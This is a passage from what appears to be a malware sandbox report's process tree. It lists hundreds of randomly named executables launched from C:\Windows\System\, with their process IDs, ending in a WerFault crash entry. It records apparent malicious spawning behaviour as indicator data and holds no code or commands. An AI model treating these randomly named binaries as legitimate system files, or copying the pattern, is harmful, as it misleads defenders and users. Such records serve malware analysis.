  PID:8752
- C:\Windows\System\lFipuPq.exe
  C:\Windows\System\lFipuPq.exe
  2⤵
  PID:8768
- C:\Windows\System\MpzocAO.exe
  C:\Windows\System\MpzocAO.exe
  2⤵
  PID:8792
- C:\Windows\System\PikiBTo.exe
  C:\Windows\System\PikiBTo.exe
  2⤵
  PID:8812
- C:\Windows\System\QIffkzz.exe
  C:\Windows\System\QIffkzz.exe
  2⤵
  PID:8832
- C:\Windows\System\wvjqbpi.exe
  C:\Windows\System\wvjqbpi.exe
  2⤵
  PID:8856
- C:\Windows\System\qLAIYnP.exe
  C:\Windows\System\qLAIYnP.exe
  2⤵
  PID:8880
- C:\Windows\System\gDOnUmy.exe
  C:\Windows\System\gDOnUmy.exe
  2⤵
  PID:8896
- C:\Windows\System\DEmiJpT.exe
  C:\Windows\System\DEmiJpT.exe
  2⤵
  PID:8928
- C:\Windows\System\GyvMTxu.exe
  C:\Windows\System\GyvMTxu.exe
  2⤵
  PID:8948
- C:\Windows\System\JfYakfC.exe
  C:\Windows\System\JfYakfC.exe
  2⤵
  PID:9176
- C:\Windows\System\bXHLygZ.exe
  C:\Windows\System\bXHLygZ.exe
  2⤵
  PID:9196
- C:\Windows\System\YeEtSFa.exe
  C:\Windows\System\YeEtSFa.exe
  2⤵
  PID:7432
- C:\Windows\System\sCvLrrd.exe
  C:\Windows\System\sCvLrrd.exe
  2⤵
  PID:8188
- C:\Windows\System\RmjrpOz.exe
  C:\Windows\System\RmjrpOz.exe
  2⤵
  PID:7288
- C:\Windows\System\syqHGUk.exe
  C:\Windows\System\syqHGUk.exe
  2⤵
  PID:7968
- C:\Windows\System\VvOFaJA.exe
  C:\Windows\System\VvOFaJA.exe
  2⤵
  PID:1480
- C:\Windows\System\PwOXWfG.exe
  C:\Windows\System\PwOXWfG.exe
  2⤵
  PID:7672
- C:\Windows\System\TJPAQlT.exe
  C:\Windows\System\TJPAQlT.exe
  2⤵
  PID:8076
- C:\Windows\System\nmUGgXj.exe
  C:\Windows\System\nmUGgXj.exe
  2⤵
  PID:7280
- C:\Windows\System\mTwRLRE.exe
  C:\Windows\System\mTwRLRE.exe
  2⤵
  PID:7244
- C:\Windows\System\jVxhKaX.exe
  C:\Windows\System\jVxhKaX.exe
  2⤵
  PID:7972
- C:\Windows\System\FvfsPfV.exe
  C:\Windows\System\FvfsPfV.exe
  2⤵
  PID:8012
- C:\Windows\System\WfnXvnX.exe
  C:\Windows\System\WfnXvnX.exe
  2⤵
  PID:8048
- C:\Windows\System\DspLawU.exe
  C:\Windows\System\DspLawU.exe
  2⤵
  PID:8324
- C:\Windows\System\IBcBHNP.exe
  C:\Windows\System\IBcBHNP.exe
  2⤵
  PID:8460
- C:\Windows\System\JTOqerW.exe
  C:\Windows\System\JTOqerW.exe
  2⤵
  PID:8200
- C:\Windows\System\hSQuLlG.exe
  C:\Windows\System\hSQuLlG.exe
  2⤵
  PID:8140
- C:\Windows\System\CiPlpEJ.exe
  C:\Windows\System\CiPlpEJ.exe
  2⤵
  PID:8716
- C:\Windows\System\oOhplRW.exe
  C:\Windows\System\oOhplRW.exe
  2⤵
  PID:8380
- C:\Windows\System\vQlLUrJ.exe
  C:\Windows\System\vQlLUrJ.exe
  2⤵
  PID:7404
- C:\Windows\System\bZClRpv.exe
  C:\Windows\System\bZClRpv.exe
  2⤵
  PID:8308
- C:\Windows\System\VxzxdXN.exe
  C:\Windows\System\VxzxdXN.exe
  2⤵
  PID:8480
- C:\Windows\System\EhACvfS.exe
  C:\Windows\System\EhACvfS.exe
  2⤵
  PID:8536
- C:\Windows\System\oXgtOua.exe
  C:\Windows\System\oXgtOua.exe
  2⤵
  PID:8592
- C:\Windows\System\hOzECLr.exe
  C:\Windows\System\hOzECLr.exe
  2⤵
  PID:8636
- C:\Windows\System\IwUuwfX.exe
  C:\Windows\System\IwUuwfX.exe
  2⤵
  PID:8700
- C:\Windows\System\NLbqckp.exe
  C:\Windows\System\NLbqckp.exe
  2⤵
  PID:8800
- C:\Windows\System\dHVCnZG.exe
  C:\Windows\System\dHVCnZG.exe
  2⤵
  PID:8864
- C:\Windows\System\TYReBBN.exe
  C:\Windows\System\TYReBBN.exe
  2⤵
  PID:8940
- C:\Windows\System\yKBqDIw.exe
  C:\Windows\System\yKBqDIw.exe
  2⤵
  PID:8496
- C:\Windows\System\VFjTwPN.exe
  C:\Windows\System\VFjTwPN.exe
  2⤵
  PID:8052
- C:\Windows\System\XensabP.exe
  C:\Windows\System\XensabP.exe
  2⤵
  PID:8136
- C:\Windows\System\dECzoUK.exe
  C:\Windows\System\dECzoUK.exe
  2⤵
  PID:8596
- C:\Windows\System\Qhtqqki.exe
  C:\Windows\System\Qhtqqki.exe
  2⤵
  PID:9232
- C:\Windows\System\jKNOiDK.exe
  C:\Windows\System\jKNOiDK.exe
  2⤵
  PID:9252
- C:\Windows\System\vxmGclp.exe
  C:\Windows\System\vxmGclp.exe
  2⤵
  PID:9272
- C:\Windows\System\wjgnYnS.exe
  C:\Windows\System\wjgnYnS.exe
  2⤵
  PID:9292
- C:\Windows\System\DHUBRFH.exe
  C:\Windows\System\DHUBRFH.exe
  2⤵
  PID:9320
- C:\Windows\System\KYekmRi.exe
  C:\Windows\System\KYekmRi.exe
  2⤵
  PID:9360
- C:\Windows\System\EYmhKzQ.exe
  C:\Windows\System\EYmhKzQ.exe
  2⤵
  PID:9380
- C:\Windows\System\OvFJqVu.exe
  C:\Windows\System\OvFJqVu.exe
  2⤵
  PID:9400
- C:\Windows\System\VIzJlyE.exe
  C:\Windows\System\VIzJlyE.exe
  2⤵
  PID:9420
- C:\Windows\System\AameihG.exe
  C:\Windows\System\AameihG.exe
  2⤵
  PID:9440
- C:\Windows\System\wEbzicp.exe
  C:\Windows\System\wEbzicp.exe
  2⤵
  PID:9460
- C:\Windows\System\OtzLBqx.exe
  C:\Windows\System\OtzLBqx.exe
  2⤵
  PID:9484
- C:\Windows\System\PUfYZYK.exe
  C:\Windows\System\PUfYZYK.exe
  2⤵
  PID:9504
- C:\Windows\System\drlRyWN.exe
  C:\Windows\System\drlRyWN.exe
  2⤵
  PID:9552
- C:\Windows\System\YSXhbsz.exe
  C:\Windows\System\YSXhbsz.exe
  2⤵
  PID:9572
- C:\Windows\System\Vkivgim.exe
  C:\Windows\System\Vkivgim.exe
  2⤵
  PID:9592
- C:\Windows\System\yhfrWin.exe
  C:\Windows\System\yhfrWin.exe
  2⤵
  PID:9608
- C:\Windows\System\jienlpv.exe
  C:\Windows\System\jienlpv.exe
  2⤵
  PID:9632
- C:\Windows\System\tVgurcV.exe
  C:\Windows\System\tVgurcV.exe
  2⤵
  PID:9652
- C:\Windows\System\IxAVEDP.exe
  C:\Windows\System\IxAVEDP.exe
  2⤵
  PID:9668
- C:\Windows\System\IRjjcps.exe
  C:\Windows\System\IRjjcps.exe
  2⤵
  PID:9692
- C:\Windows\System\XtDJkRM.exe
  C:\Windows\System\XtDJkRM.exe
  2⤵
  PID:9712
- C:\Windows\System\TCvOTNp.exe
  C:\Windows\System\TCvOTNp.exe
  2⤵
  PID:9736
- C:\Windows\System\YUqbjyS.exe
  C:\Windows\System\YUqbjyS.exe
  2⤵
  PID:9756
- C:\Windows\System\EkNSQCr.exe
  C:\Windows\System\EkNSQCr.exe
  2⤵
  PID:9776
- C:\Windows\System\jeGQxAs.exe
  C:\Windows\System\jeGQxAs.exe
  2⤵
  PID:9796
- C:\Windows\System\VparXOR.exe
  C:\Windows\System\VparXOR.exe
  2⤵
  PID:9816
- C:\Windows\System\TipzzxV.exe
  C:\Windows\System\TipzzxV.exe
  2⤵
  PID:9836
- C:\Windows\System\WXIQusN.exe
  C:\Windows\System\WXIQusN.exe
  2⤵
  PID:9856
- C:\Windows\System\AQiIxTr.exe
  C:\Windows\System\AQiIxTr.exe
  2⤵
  PID:9960
- C:\Windows\System\SvCfENk.exe
  C:\Windows\System\SvCfENk.exe
  2⤵
  PID:9984
- C:\Windows\System\KyLzWoL.exe
  C:\Windows\System\KyLzWoL.exe
  2⤵
  PID:10016
- C:\Windows\System\QnXgiFF.exe
  C:\Windows\System\QnXgiFF.exe
  2⤵
  PID:10036
- C:\Windows\System\jekHYuo.exe
  C:\Windows\System\jekHYuo.exe
  2⤵
  PID:10056
- C:\Windows\System\LCRGIlN.exe
  C:\Windows\System\LCRGIlN.exe
  2⤵
  PID:10092
- C:\Windows\System\ZlsCHmT.exe
  C:\Windows\System\ZlsCHmT.exe
  2⤵
  PID:10108
- C:\Windows\System\tqQVAox.exe
  C:\Windows\System\tqQVAox.exe
  2⤵
  PID:10132
- C:\Windows\System\NJTyEwz.exe
  C:\Windows\System\NJTyEwz.exe
  2⤵
  PID:10156
- C:\Windows\System\GmbnTHS.exe
  C:\Windows\System\GmbnTHS.exe
  2⤵
  PID:10176
- C:\Windows\System\jZZMOyE.exe
  C:\Windows\System\jZZMOyE.exe
  2⤵
  PID:10196
- C:\Windows\System\BbQqiPW.exe
  C:\Windows\System\BbQqiPW.exe
  2⤵
  PID:10216
- C:\Windows\System\woIlqDv.exe
  C:\Windows\System\woIlqDv.exe
  2⤵
  PID:9116
- C:\Windows\System\dstcBLY.exe
  C:\Windows\System\dstcBLY.exe
  2⤵
  PID:7492
- C:\Windows\System\NSxRHIu.exe
  C:\Windows\System\NSxRHIu.exe
  2⤵
  PID:8852
- C:\Windows\System\BNWIvDx.exe
  C:\Windows\System\BNWIvDx.exe
  2⤵
  PID:9168
- C:\Windows\System\sQztLnc.exe
  C:\Windows\System\sQztLnc.exe
  2⤵
  PID:3828
- C:\Windows\System\gWtuQAS.exe
  C:\Windows\System\gWtuQAS.exe
  2⤵
  PID:7468
- C:\Windows\System\WXZiyBC.exe
  C:\Windows\System\WXZiyBC.exe
  2⤵
  PID:7656
- C:\Windows\System\bZvMLEu.exe
  C:\Windows\System\bZvMLEu.exe
  2⤵
  PID:9092
- C:\Windows\System\Jjpkiks.exe
  C:\Windows\System\Jjpkiks.exe
  2⤵
  PID:9340
- C:\Windows\System\kTaUyAd.exe
  C:\Windows\System\kTaUyAd.exe
  2⤵
  PID:8848
- C:\Windows\System\fXimJNt.exe
  C:\Windows\System\fXimJNt.exe
  2⤵
  PID:9036
- C:\Windows\System\DdXgVSU.exe
  C:\Windows\System\DdXgVSU.exe
  2⤵
  PID:8556
- C:\Windows\System\BodZsco.exe
  C:\Windows\System\BodZsco.exe
  2⤵
  PID:9268
- C:\Windows\System\uwdfAsX.exe
  C:\Windows\System\uwdfAsX.exe
  2⤵
  PID:10068
- C:\Windows\System\nBhkFhl.exe
  C:\Windows\System\nBhkFhl.exe
  2⤵
  PID:6972
- C:\Windows\System\spAOpsa.exe
  C:\Windows\System\spAOpsa.exe
  2⤵
  PID:9812
- C:\Windows\System\tjcOHRM.exe
  C:\Windows\System\tjcOHRM.exe
  2⤵
  PID:9452
- C:\Windows\System\KZjQVjV.exe
  C:\Windows\System\KZjQVjV.exe
  2⤵
  PID:10028
- C:\Windows\System\ExZwfYp.exe
  C:\Windows\System\ExZwfYp.exe
  2⤵
  PID:10080
- C:\Windows\System\qyayVJe.exe
  C:\Windows\System\qyayVJe.exe
  2⤵
  PID:10168
- C:\Windows\System\XXMYjaN.exe
  C:\Windows\System\XXMYjaN.exe
  2⤵
  PID:10204
- C:\Windows\System\lDUggQN.exe
  C:\Windows\System\lDUggQN.exe
  2⤵
  PID:8760
- C:\Windows\System\LzPIsNH.exe
  C:\Windows\System\LzPIsNH.exe
  2⤵
  PID:8656
- C:\Windows\System\eEkYJDK.exe
  C:\Windows\System\eEkYJDK.exe
  2⤵
  PID:10260
- C:\Windows\System\Ayoysvg.exe
  C:\Windows\System\Ayoysvg.exe
  2⤵
  PID:10284
- C:\Windows\System\utDrLlq.exe
  C:\Windows\System\utDrLlq.exe
  2⤵
  PID:10308
- C:\Windows\System\hbQzSbF.exe
  C:\Windows\System\hbQzSbF.exe
  2⤵
  PID:10324
- C:\Windows\System\yzMVWsK.exe
  C:\Windows\System\yzMVWsK.exe
  2⤵
  PID:10352
- C:\Windows\System\eznWEuk.exe
  C:\Windows\System\eznWEuk.exe
  2⤵
  PID:10372
- C:\Windows\System\GwwwpCF.exe
  C:\Windows\System\GwwwpCF.exe
  2⤵
  PID:10396
- C:\Windows\System\zQKtJLE.exe
  C:\Windows\System\zQKtJLE.exe
  2⤵
  PID:10420
- C:\Windows\System\nEJrqsV.exe
  C:\Windows\System\nEJrqsV.exe
  2⤵
  PID:10436
- C:\Windows\System\GGYbgRq.exe
  C:\Windows\System\GGYbgRq.exe
  2⤵
  PID:10456
- C:\Windows\System\SARSevx.exe
  C:\Windows\System\SARSevx.exe
  2⤵
  PID:10476
- C:\Windows\System\rKxxUPZ.exe
  C:\Windows\System\rKxxUPZ.exe
  2⤵
  PID:10492
- C:\Windows\System\maHErhH.exe
  C:\Windows\System\maHErhH.exe
  2⤵
  PID:10520
- C:\Windows\System\ULeFCNF.exe
  C:\Windows\System\ULeFCNF.exe
  2⤵
  PID:10540
- C:\Windows\System\HrhuUvv.exe
  C:\Windows\System\HrhuUvv.exe
  2⤵
  PID:10560
- C:\Windows\System\hAhPfeM.exe
  C:\Windows\System\hAhPfeM.exe
  2⤵
  PID:10580
- C:\Windows\System\WakpXCp.exe
  C:\Windows\System\WakpXCp.exe
  2⤵
  PID:10600
- C:\Windows\System\DeWCewH.exe
  C:\Windows\System\DeWCewH.exe
  2⤵
  PID:10620
- C:\Windows\System\nxzMKOA.exe
  C:\Windows\System\nxzMKOA.exe
  2⤵
  PID:10644
- C:\Windows\System\MUqHVMZ.exe
  C:\Windows\System\MUqHVMZ.exe
  2⤵
  PID:10660
- C:\Windows\System\hlAusgZ.exe
  C:\Windows\System\hlAusgZ.exe
  2⤵
  PID:10688
- C:\Windows\System\yDdTUuU.exe
  C:\Windows\System\yDdTUuU.exe
  2⤵
  PID:10732
- C:\Windows\System\ojydgDU.exe
  C:\Windows\System\ojydgDU.exe
  2⤵
  PID:10752
- C:\Windows\System\Wondpaw.exe
  C:\Windows\System\Wondpaw.exe
  2⤵
  PID:10768
- C:\Windows\System\PhLMqFA.exe
  C:\Windows\System\PhLMqFA.exe
  2⤵
  PID:10784
- C:\Windows\System\EYzlvgn.exe
  C:\Windows\System\EYzlvgn.exe
  2⤵
  PID:10800
- C:\Windows\System\wJcNQkN.exe
  C:\Windows\System\wJcNQkN.exe
  2⤵
  PID:10816
- C:\Windows\System\ClZlYGK.exe
  C:\Windows\System\ClZlYGK.exe
  2⤵
  PID:10836
- C:\Windows\System\jYRxubb.exe
  C:\Windows\System\jYRxubb.exe
  2⤵
  PID:10872
- C:\Windows\System\qalnBQq.exe
  C:\Windows\System\qalnBQq.exe
  2⤵
  PID:10888
- C:\Windows\System\VqiRUZL.exe
  C:\Windows\System\VqiRUZL.exe
  2⤵
  PID:10904
- C:\Windows\System\vFuAKGB.exe
  C:\Windows\System\vFuAKGB.exe
  2⤵
  PID:10924
- C:\Windows\System\LFuScfG.exe
  C:\Windows\System\LFuScfG.exe
  2⤵
  PID:10944
- C:\Windows\System\nxJQpzl.exe
  C:\Windows\System\nxJQpzl.exe
  2⤵
  PID:11100
- C:\Windows\System\eftwxvw.exe
  C:\Windows\System\eftwxvw.exe
  2⤵
  PID:11116
- C:\Windows\System\FVzXRzW.exe
  C:\Windows\System\FVzXRzW.exe
  2⤵
  PID:11184
- C:\Windows\System\GVmlpoO.exe
  C:\Windows\System\GVmlpoO.exe
  2⤵
  PID:11208
- C:\Windows\System\siAmxjm.exe
  C:\Windows\System\siAmxjm.exe
  2⤵
  PID:11236
- C:\Windows\System\odprqbd.exe
  C:\Windows\System\odprqbd.exe
  2⤵
  PID:11256
- C:\Windows\System\pQIhbLC.exe
  C:\Windows\System\pQIhbLC.exe
  2⤵
  PID:4372
- C:\Windows\System\jnYRTLb.exe
  C:\Windows\System\jnYRTLb.exe
  2⤵
  PID:8680
- C:\Windows\System\WpSxpSH.exe
  C:\Windows\System\WpSxpSH.exe
  2⤵
  PID:10256
- C:\Windows\System\maAGExy.exe
  C:\Windows\System\maAGExy.exe
  2⤵
  PID:10048
- C:\Windows\System\cOspAIP.exe
  C:\Windows\System\cOspAIP.exe
  2⤵
  PID:8572
- C:\Windows\System\twdOXDX.exe
  C:\Windows\System\twdOXDX.exe
  2⤵
  PID:10164
- C:\Windows\System\jvaXcIE.exe
  C:\Windows\System\jvaXcIE.exe
  2⤵
  PID:10636
- C:\Windows\System\EJqySWu.exe
  C:\Windows\System\EJqySWu.exe
  2⤵
  PID:10720
- C:\Windows\System\pKZmllz.exe
  C:\Windows\System\pKZmllz.exe
  2⤵
  PID:11056
- C:\Windows\System\pBQOocV.exe
  C:\Windows\System\pBQOocV.exe
  2⤵
  PID:9680
- C:\Windows\System\kbmAOIy.exe
  C:\Windows\System\kbmAOIy.exe
  2⤵
  PID:10192
- C:\Windows\System\FXnHiLP.exe
  C:\Windows\System\FXnHiLP.exe
  2⤵
  PID:8904
- C:\Windows\System\WSzQjsO.exe
  C:\Windows\System\WSzQjsO.exe
  2⤵
  PID:10296
- C:\Windows\System\fFWTZhb.exe
  C:\Windows\System\fFWTZhb.exe
  2⤵
  PID:10380
- C:\Windows\System\hAcSLpW.exe
  C:\Windows\System\hAcSLpW.exe
  2⤵
  PID:10412
- C:\Windows\System\KoWaZrI.exe
  C:\Windows\System\KoWaZrI.exe
  2⤵
  PID:10468
- C:\Windows\System\CXJThDA.exe
  C:\Windows\System\CXJThDA.exe
  2⤵
  PID:10500
- C:\Windows\System\XmcUDMH.exe
  C:\Windows\System\XmcUDMH.exe
  2⤵
  PID:11072
- C:\Windows\System\TXNCbnz.exe
  C:\Windows\System\TXNCbnz.exe
  2⤵
  PID:11180
- C:\Windows\System\vbJhwcq.exe
  C:\Windows\System\vbJhwcq.exe
  2⤵
  PID:11248
- C:\Windows\System\ljVdilU.exe
  C:\Windows\System\ljVdilU.exe
  2⤵
  PID:11200
- C:\Windows\System\stymjnd.exe
  C:\Windows\System\stymjnd.exe
  2⤵
  PID:1868
- C:\Windows\System\xeGQcFY.exe
  C:\Windows\System\xeGQcFY.exe
  2⤵
  PID:3916
- C:\Windows\System\ZvcwNiY.exe
  C:\Windows\System\ZvcwNiY.exe
  2⤵
  PID:11216
- C:\Windows\System\XVPhsTj.exe
  C:\Windows\System\XVPhsTj.exe
  2⤵
  PID:2756
- C:\Windows\System\vRnUGFp.exe
  C:\Windows\System\vRnUGFp.exe
  2⤵
  PID:4840
- C:\Windows\System\XxSvVhy.exe
  C:\Windows\System\XxSvVhy.exe
  2⤵
  PID:9392
- C:\Windows\System\AecudVd.exe
  C:\Windows\System\AecudVd.exe
  2⤵
  PID:10236
- C:\Windows\System\dbwqZCX.exe
  C:\Windows\System\dbwqZCX.exe
  2⤵
  PID:1224
- C:\Windows\System\OBGRnhi.exe
  C:\Windows\System\OBGRnhi.exe
  2⤵
  PID:4956
- C:\Windows\System\yTNuzhV.exe
  C:\Windows\System\yTNuzhV.exe
  2⤵
  PID:11284
- C:\Windows\System\mjMUYCu.exe
  C:\Windows\System\mjMUYCu.exe
  2⤵
  PID:11304
- C:\Windows\System\KQRpISa.exe
  C:\Windows\System\KQRpISa.exe
  2⤵
  PID:11444
- C:\Windows\System\ZpoPUWV.exe
  C:\Windows\System\ZpoPUWV.exe
  2⤵
  PID:11464
- C:\Windows\System\ZNBRxSK.exe
  C:\Windows\System\ZNBRxSK.exe
  2⤵
  PID:11488
- C:\Windows\System\VElrkNF.exe
  C:\Windows\System\VElrkNF.exe
  2⤵
  PID:11524
- C:\Windows\System\URcMsDX.exe
  C:\Windows\System\URcMsDX.exe
  2⤵
  PID:11556
- C:\Windows\System\rbtYdER.exe
  C:\Windows\System\rbtYdER.exe
  2⤵
  PID:11572
- C:\Windows\System\nbIIcHd.exe
  C:\Windows\System\nbIIcHd.exe
  2⤵
  PID:11592
- C:\Windows\System\ssBYjAT.exe
  C:\Windows\System\ssBYjAT.exe
  2⤵
  PID:11612
- C:\Windows\System\LLibJHr.exe
  C:\Windows\System\LLibJHr.exe
  2⤵
  PID:11628
- C:\Windows\System\YhkOWlO.exe
  C:\Windows\System\YhkOWlO.exe
  2⤵
  PID:11644
- C:\Windows\System\QeRhWBg.exe
  C:\Windows\System\QeRhWBg.exe
  2⤵
  PID:11664
- C:\Windows\System\ApOInfC.exe
  C:\Windows\System\ApOInfC.exe
  2⤵
  PID:11684
- C:\Windows\System\iYJzQtV.exe
  C:\Windows\System\iYJzQtV.exe
  2⤵
  PID:11704
- C:\Windows\System\cFAqwQH.exe
  C:\Windows\System\cFAqwQH.exe
  2⤵
  PID:11720
- C:\Windows\System\MdUzduS.exe
  C:\Windows\System\MdUzduS.exe
  2⤵
  PID:11736
- C:\Windows\System\HrEPKDj.exe
  C:\Windows\System\HrEPKDj.exe
  2⤵
  PID:11752
- C:\Windows\System\zQHHaXA.exe
  C:\Windows\System\zQHHaXA.exe
  2⤵
  PID:11776
- C:\Windows\System\OEZLRuB.exe
  C:\Windows\System\OEZLRuB.exe
  2⤵
  PID:11792
- C:\Windows\System\WRSjEcX.exe
  C:\Windows\System\WRSjEcX.exe
  2⤵
  PID:11812
- C:\Windows\System\auaBmJw.exe
  C:\Windows\System\auaBmJw.exe
  2⤵
  PID:11828
- C:\Windows\System\NKlZmnO.exe
  C:\Windows\System\NKlZmnO.exe
  2⤵
  PID:11852
- C:\Windows\System\xlgHFke.exe
  C:\Windows\System\xlgHFke.exe
  2⤵
  PID:11872
- C:\Windows\System\AhdDnwl.exe
  C:\Windows\System\AhdDnwl.exe
  2⤵
  PID:11892
- C:\Windows\System\aglvcNm.exe
  C:\Windows\System\aglvcNm.exe
  2⤵
  PID:11908
- C:\Windows\System\VjPBtoM.exe
  C:\Windows\System\VjPBtoM.exe
  2⤵
  PID:11932
- C:\Windows\System\JAjBrRH.exe
  C:\Windows\System\JAjBrRH.exe
  2⤵
  PID:11952
- C:\Windows\System\RwvUiJZ.exe
  C:\Windows\System\RwvUiJZ.exe
  2⤵
  PID:11976
- C:\Windows\System\kQJUDUb.exe
  C:\Windows\System\kQJUDUb.exe
  2⤵
  PID:11992
- C:\Windows\System\JyeTFQD.exe
  C:\Windows\System\JyeTFQD.exe
  2⤵
  PID:12016
- C:\Windows\System\lrFdmWg.exe
  C:\Windows\System\lrFdmWg.exe
  2⤵
  PID:12044
- C:\Windows\System\uNWRbut.exe
  C:\Windows\System\uNWRbut.exe
  2⤵
  PID:12060
- C:\Windows\System\ngnfIHB.exe
  C:\Windows\System\ngnfIHB.exe
  2⤵
  PID:12080
- C:\Windows\System\NZvjQYM.exe
  C:\Windows\System\NZvjQYM.exe
  2⤵
  PID:12104
- C:\Windows\System\BZROaqy.exe
  C:\Windows\System\BZROaqy.exe
  2⤵
  PID:12124
- C:\Windows\System\WmWogRD.exe
  C:\Windows\System\WmWogRD.exe
  2⤵
  PID:12140
- C:\Windows\System\qWsGwTm.exe
  C:\Windows\System\qWsGwTm.exe
  2⤵
  PID:12160
- C:\Windows\System\mvjMLkS.exe
  C:\Windows\System\mvjMLkS.exe
  2⤵
  PID:12176
- C:\Windows\System\DLrAuou.exe
  C:\Windows\System\DLrAuou.exe
  2⤵
  PID:12196
- C:\Windows\System\BUeynnX.exe
  C:\Windows\System\BUeynnX.exe
  2⤵
  PID:12212
- C:\Windows\System\ajuOndS.exe
  C:\Windows\System\ajuOndS.exe
  2⤵
  PID:12232
- C:\Windows\System\SBUuHDc.exe
  C:\Windows\System\SBUuHDc.exe
  2⤵
  PID:12248
- C:\Windows\System\dHxylqL.exe
  C:\Windows\System\dHxylqL.exe
  2⤵
  PID:12272
- C:\Windows\System\IrSzJCB.exe
  C:\Windows\System\IrSzJCB.exe
  2⤵
  PID:3552
- C:\Windows\System\iEZIImh.exe
  C:\Windows\System\iEZIImh.exe
  2⤵
  PID:3188
- C:\Windows\System\lXABjOO.exe
  C:\Windows\System\lXABjOO.exe
  2⤵
  PID:10484
- C:\Windows\System\JcbyphM.exe
  C:\Windows\System\JcbyphM.exe
  2⤵
  PID:11176
- C:\Windows\System\dZbCbsh.exe
  C:\Windows\System\dZbCbsh.exe
  2⤵
  PID:7736
- C:\Windows\System\LoBVSjO.exe
  C:\Windows\System\LoBVSjO.exe
  2⤵
  PID:4864
- C:\Windows\System\fEIPYXb.exe
  C:\Windows\System\fEIPYXb.exe
  2⤵
  PID:2908
- C:\Windows\System\SxFpbfr.exe
  C:\Windows\System\SxFpbfr.exe
  2⤵
  PID:4420
- C:\Windows\System\CZECyDX.exe
  C:\Windows\System\CZECyDX.exe
  2⤵
  PID:10428
- C:\Windows\System\znAwthy.exe
  C:\Windows\System\znAwthy.exe
  2⤵
  PID:9500
- C:\Windows\System\ZKZQExl.exe
  C:\Windows\System\ZKZQExl.exe
  2⤵
  PID:11108
- C:\Windows\System\fcROdWE.exe
  C:\Windows\System\fcROdWE.exe
  2⤵
  PID:7632
- C:\Windows\System\HKcRaPN.exe
  C:\Windows\System\HKcRaPN.exe
  2⤵
  PID:4576
- C:\Windows\System\qbTYnlQ.exe
  C:\Windows\System\qbTYnlQ.exe
  2⤵
  PID:10188
- C:\Windows\System\caVOHOh.exe
  C:\Windows\System\caVOHOh.exe
  2⤵
  PID:3604
- C:\Windows\System\fmIbIjf.exe
  C:\Windows\System\fmIbIjf.exe
  2⤵
  PID:512
- C:\Windows\System\InFjuba.exe
  C:\Windows\System\InFjuba.exe
  2⤵
  PID:10696
- C:\Windows\System\FlKqwDS.exe
  C:\Windows\System\FlKqwDS.exe
  2⤵
  PID:10796
- C:\Windows\System\kBGmWMX.exe
  C:\Windows\System\kBGmWMX.exe
  2⤵
  PID:11312
- C:\Windows\System\AvzNsPS.exe
  C:\Windows\System\AvzNsPS.exe
  2⤵
  PID:10292
- C:\Windows\System\aQPkMLt.exe
  C:\Windows\System\aQPkMLt.exe
  2⤵
  PID:11088
- C:\Windows\System\UpioqbY.exe
  C:\Windows\System\UpioqbY.exe
  2⤵
  PID:10656
- C:\Windows\System\WPeBzGx.exe
  C:\Windows\System\WPeBzGx.exe
  2⤵
  PID:8340
- C:\Windows\System\zbfpXLk.exe
  C:\Windows\System\zbfpXLk.exe
  2⤵
  PID:11716
- C:\Windows\System\ivVnurL.exe
  C:\Windows\System\ivVnurL.exe
  2⤵
  PID:11808
- C:\Windows\System\Wilrkjy.exe
  C:\Windows\System\Wilrkjy.exe
  2⤵
  PID:11328
- C:\Windows\System\kksGqPo.exe
  C:\Windows\System\kksGqPo.exe
  2⤵
  PID:11480
- C:\Windows\System\ujKcuvE.exe
  C:\Windows\System\ujKcuvE.exe
  2⤵
  PID:11928
- C:\Windows\System\NEalUFb.exe
  C:\Windows\System\NEalUFb.exe
  2⤵
  PID:11392
- C:\Windows\System\HbMCTlE.exe
  C:\Windows\System\HbMCTlE.exe
  2⤵
  PID:11588
- C:\Windows\System\OBSvzpC.exe
  C:\Windows\System\OBSvzpC.exe
  2⤵
  PID:12132
- C:\Windows\System\vFWlmvF.exe
  C:\Windows\System\vFWlmvF.exe
  2⤵
  PID:11692
- C:\Windows\System\LhXFdXZ.exe
  C:\Windows\System\LhXFdXZ.exe
  2⤵
  PID:12224
- C:\Windows\System\kDPXpEX.exe
  C:\Windows\System\kDPXpEX.exe
  2⤵
  PID:12308
- C:\Windows\System\NFINEVg.exe
  C:\Windows\System\NFINEVg.exe
  2⤵
  PID:12328
- C:\Windows\System\YPfVgxd.exe
  C:\Windows\System\YPfVgxd.exe
  2⤵
  PID:12344
- C:\Windows\System\RFsSkRP.exe
  C:\Windows\System\RFsSkRP.exe
  2⤵
  PID:12376
- C:\Windows\System\HmgSnHg.exe
  C:\Windows\System\HmgSnHg.exe
  2⤵
  PID:12400
- C:\Windows\System\NnxBLdv.exe
  C:\Windows\System\NnxBLdv.exe
  2⤵
  PID:12420
- C:\Windows\System\hPZlGrA.exe
  C:\Windows\System\hPZlGrA.exe
  2⤵
  PID:12436
- C:\Windows\System\mNoBVXf.exe
  C:\Windows\System\mNoBVXf.exe
  2⤵
  PID:12452
- C:\Windows\System\UsCTqxt.exe
  C:\Windows\System\UsCTqxt.exe
  2⤵
  PID:12468
- C:\Windows\System\LUmXvjF.exe
  C:\Windows\System\LUmXvjF.exe
  2⤵
  PID:12484
- C:\Windows\System\plBilWO.exe
  C:\Windows\System\plBilWO.exe
  2⤵
  PID:12500
- C:\Windows\System\BCuVWIt.exe
  C:\Windows\System\BCuVWIt.exe
  2⤵
  PID:12520
- C:\Windows\System\IhjhrvK.exe
  C:\Windows\System\IhjhrvK.exe
  2⤵
  PID:12544
- C:\Windows\System\BIvfEww.exe
  C:\Windows\System\BIvfEww.exe
  2⤵
  PID:12560
- C:\Windows\System\AwbaIOJ.exe
  C:\Windows\System\AwbaIOJ.exe
  2⤵
  PID:12580
- C:\Windows\System\AyUFDsX.exe
  C:\Windows\System\AyUFDsX.exe
  2⤵
  PID:12600
- C:\Windows\System\pjReDgY.exe
  C:\Windows\System\pjReDgY.exe
  2⤵
  PID:12620
- C:\Windows\System\oktUPTj.exe
  C:\Windows\System\oktUPTj.exe
  2⤵
  PID:12640
- C:\Windows\System\ykkFuov.exe
  C:\Windows\System\ykkFuov.exe
  2⤵
  PID:12660
- C:\Windows\System\rJsGKAi.exe
  C:\Windows\System\rJsGKAi.exe
  2⤵
  PID:13168
- C:\Windows\System\LWSjGVh.exe
  C:\Windows\System\LWSjGVh.exe
  2⤵
  PID:13204
- C:\Windows\System\iFDtJKP.exe
  C:\Windows\System\iFDtJKP.exe
  2⤵
  PID:13240
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 13240 -s 28
    3⤵
    PID:4860
